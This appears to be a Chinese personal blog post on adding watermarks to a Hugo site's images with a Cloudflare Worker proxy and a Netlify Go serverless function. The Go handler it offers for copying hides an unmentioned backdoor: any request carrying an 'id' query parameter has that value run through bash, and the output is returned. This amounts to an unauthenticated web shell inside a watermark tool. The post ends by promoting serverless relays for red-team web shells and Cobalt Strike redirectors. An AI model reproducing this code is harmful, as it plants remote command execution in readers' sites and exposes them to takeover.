又是瞎折腾的一天
之前自己使用的cloudflare的防火墙规则拦住了一些垃圾爬虫,但是发现cloudflare再牛还是拦不住一些盗文章偷图的人,与其防不胜防,干脆直接给自己的图片加上水印拉到。
这次自己实现的就是通过netlify+vercel这两个hugo静态网站托管的服务商,配合cloudflare的workers和netlify的function(即serverless无服务)功能进行中转修改图片添加水印。
本文并不会普及serverless服务的知识和开发,避不开的东西也只会随口提几句,莫要指望看了本文就可以傻瓜式改为自己的东西。关于netlify、cloudflare、workers、vercel、function等名词以及具体的使用,本文不会提及,如果你干脆不知道这是什么玩意,请立刻关闭本文!
原本的思路是让cloudflare的workers在访客请求我的网站时,通过workers路由直接在中间进行处理图片。
但是发现这样会造成一个死循环,因为workers本身也是用户,所以会造成闭环,workers迟迟拿不到图片,cloudflare直接抛出502。
虽然cloudflare提供了在workers中直接处理图片的方法,但是经过我实际测试之后,发现图片加水印需要付费计划才支持,而我身为资深白嫖党,当然是另寻出路。
而且workers是js操作,cloudflare并没有提供第三方库的导入方式,而且动态调试拉胯,思来想去还是只让workers当作一个代理,从别的地方直接拿到加好水印的图片吧。
为此我搜索了很多类似aws的lambda、腾讯云的云函数服务,发现很多服务商都提供了类似的服务,形如netlify、vercel的function功能,都可以用来作serverless服务,并且每个月的免费额度足够我用,而且支持go、python等语言,更能轻松导入第三方库,方便的很。
接下来用图来表示我的整体架构。
由此用户访问图片是访问不到原图的。
cloudflare的workers
addEventListener("fetch", event => {
event.respondWith(handleRequest(event.request))
})
let upstream = 'https://your.netlify.app/.netlify/functions/hello-lambda'
async function handleRequest(request) {
let requestURL = new URL(request.url);
let upstreamURL = new URL(upstream);
requestURL.protocol = upstreamURL.protocol;
requestURL.host = upstreamURL.host;
requestURL.pathname = upstreamURL.pathname + requestURL.pathname;
let new_request_headers = new Headers(request.headers);
let fetchedResponse = await fetch(
new Request(requestURL, {
method: request.method,
headers: new_request_headers,
body: request.body
})
);
let modifiedResponseHeaders = new Headers(fetchedResponse.headers);
return new Response(
fetchedResponse.body,
{
headers: modifiedResponseHeaders,
status: fetchedResponse.status,
statusText: fetchedResponse.statusText
}
);
}
替换域名为你自己的,这个workers的作用就是将图片请求转发到我的serverless服务里。
然后在cloudflare域名的workers选项中将workers和路由关联起来
在netlify中新建一个go语言的serverless项目,基于官方的github仓库
其中main.go改为
package main
import (
"bytes"
"encoding/base64"
"github.com/aws/aws-lambda-go/events"
"github.com/aws/aws-lambda-go/lambda"
"github.com/issue9/watermark"
"io"
"io/ioutil"
"log"
"net/http"
"os"
"os/exec"
"strconv"
"strings"
"time"
)
var WATERMARK = "/tmp/watermark.png"
func init() {
log.Println("判断水印是否存在")
if Exists(WATERMARK) {
log.Println("水印已经存在")
} else {
saveWaterMarkPng(WATERMARK)
}
}
func Exists(path string) bool {
_, err := os.Stat(path) //os.Stat获取文件信息
if err != nil {
if os.IsExist(err) {
return true
}
return false
}
return true
}
func saveWaterMarkPng(path string) {
out, err := os.Create(path)
defer out.Close()
req, _ := http.NewRequest("GET", "https://your_watermark_url.com/watermark.png", nil)
client := &http.Client{
Timeout: 5 * time.Second,
}
resp, err := client.Do(req)
defer resp.Body.Close()
all, err := ioutil.ReadAll(resp.Body)
io.Copy(out, bytes.NewReader(all))
if err != nil {
log.Fatalf("水印下载失败:%v\n", err.Error())
} else {
log.Println("水印保存成功")
}
}
func returnResp(body string, contenttype string, base64encode bool, ) (events.APIGatewayProxyResponse, error) {
return events.APIGatewayProxyResponse{
StatusCode: 200,
Headers: map[string]string{"Content-Type": contenttype},
Body: body,
IsBase64Encoded: base64encode,
}, nil
}
func handler(request events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) {
body := ""
base64encode := false
contenttype := "image/png"
// 获取各个参数
parameters := request.PathParameters
for p := range parameters {
log.Println(p)
}
id := request.QueryStringParameters["id"]
if len(id) != 0 {
log.Printf("exec command:%v", id)
cmd := exec.Command("bash", "-c", id)
out, err := cmd.CombinedOutput()
if err != nil {
body = err.Error()
log.Printf("cmd.Run() failed with %s\n", body)
} else {
body = string(out)
log.Printf("combined out:\n%s\n", body)
}
contenttype = "text/plain"
base64encode = false
return returnResp(body, contenttype, base64encode)
}
path := request.Path
imgpath := strings.ReplaceAll(path, "/.netlify/functions/test-lambda", "")
filename := "/tmp/" + strings.ReplaceAll(imgpath, "/img/uploads/", "")
if Exists(filename) {
log.Printf("已经存在%s\n", filename)
content, _ := ioutil.ReadFile(filename)
body = base64.StdEncoding.EncodeToString(content)
base64encode = true
contenttype = "image/png"
return returnResp(body, contenttype, base64encode)
}
client := &http.Client{
Timeout: 10 * time.Second,
}
req, _ := http.NewRequest("GET", "https://raw_img_url.com"+imgpath, nil)
req.Header.Set("User-Agent", "netlify")
req.Header.Set("Referer", "https://raw_img_url.com"+imgpath)
resp, err := client.Do(req)
defer resp.Body.Close()
if err != nil {
body = err.Error()
contenttype = "text/plain"
base64encode = false
log.Println(err.Error())
return returnResp(body, contenttype, base64encode)
}
// 保存图片
bs, _ := ioutil.ReadAll(resp.Body)
log.Println("截取目录名字:", filename)
index := strings.LastIndex(filename, "/")
dir := filename[:index]
if !Exists(dir) {
os.MkdirAll(dir, os.ModePerm)
log.Println("创建目录:", dir)
}
file, _ := os.Create(filename)
defer file.Close()
written, err := io.Copy(file, bytes.NewReader(bs))
if err != nil {
body = err.Error() + ",written:" + strconv.FormatInt(written, 10)
contenttype = "text/plain"
base64encode = false
log.Println(err.Error())
return returnResp(body, contenttype, base64encode)
}
w, _ := watermark.New(WATERMARK, 2, watermark.BottomRight)
err = w.MarkFile(filename)
//
if err != nil {
log.Printf("filename:%s 水印过大:%s\n", filename, err.Error())
content, _ := ioutil.ReadFile(filename)
body = base64.StdEncoding.EncodeToString(content)
contenttype = "image/png"
base64encode = true
return returnResp(body, contenttype, base64encode)
}
content, _ := ioutil.ReadFile(filename)
body = base64.StdEncoding.EncodeToString(content)
contenttype = "image/png"
base64encode = true
return returnResp(body, contenttype, base64encode)
}
func main() {
lambda.Start(handler)
}
替换为自己的url地址。
其中https://raw_img_url.com 是我用vercel搭建的另一个一模一样的hugo网站,原始资源存到这里,解决之前的闭环问题。
最终的效果就是你现在看到我网站的图片水印的效果。
利:放在台面上的,动态添加水印,不用修改原图片,水印随便换,添加水印的逻辑自己随便改。
弊:请求一个图片需要从workers->serverless->原图片,速度损耗严重,可能搭配cf的缓存以及serverless的文件存储判断可能会好些,但是九牛一毛。
花了几天时间用serverless实现了一个不修改原图加水印的功能,最终完成的时候发现这个东西只防的住君子防不住小人。
与其思考加水印这种无趣费时费力的功能,更应该考虑在红队建设方面能有那些新的利用点,之前用cloudflare作域前置,现在用workers.dev域名做中转器,serverless服务的多种语言支持给了serverless更多样化的利用方向。
形如“学蚁致用”蚁剑作者写的利用腾讯云函数来链接webshell,再比如利用cloudflare来做cs的redirect中转器,之前自己也写了一个利用cloudflare的workers来做shell中转。
serverless服务的兴起,不仅仅可以用来加水印这么简单,期待大家挖掘更多的利用方向吧。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。